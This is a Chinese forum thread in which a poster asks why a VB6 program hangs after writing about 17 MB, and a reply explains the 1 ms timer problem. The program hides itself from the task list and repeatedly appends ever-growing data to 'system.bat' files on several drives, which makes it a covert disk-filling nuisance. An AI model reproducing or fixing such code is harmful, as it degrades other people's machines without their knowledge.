整个程序运行一段时间，大概写了17M左右，就无响应了
不知道是为什么
代码如下
Option Explicit
Dim a$, x$, b%

Private Sub Form_Load()
Timer1.Interval = 1
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
If b = 0 Then
 Open "c:\system.bat" For Output As #1
 Write #1, 0, 1
 b = 1
 Close #1
End If

Open "c:\system.bat" For Input As #2
Do While Not EOF(2)
  Input #2, a
  x = x + a
Loop
Close #2

Open "c:\system.bat" For Append As #3
Write #3, x
Close #3

Open "d:\system.bat" For Append As #4
Write #4, x
Close #4

Open "e:\system.bat" For Append As #5
Write #5, x
Close #5

End Sub

怎么没人理我啊

因为你的定时器Interval = 1而你的程序重复运行一段时间后在Timer的事件中所需处理的时间远远大于50毫秒。并且你的程序在Timer事件中所有的循环中没有将运行权限交还给系统过，所以运行一定时间后程序将会被挂起。

因为你写了一个莫名的程序，所以我作了莫名的回答。不知楼主对上面的答案满意否？

没太看懂
能讲的明白点吗
怎么解决呢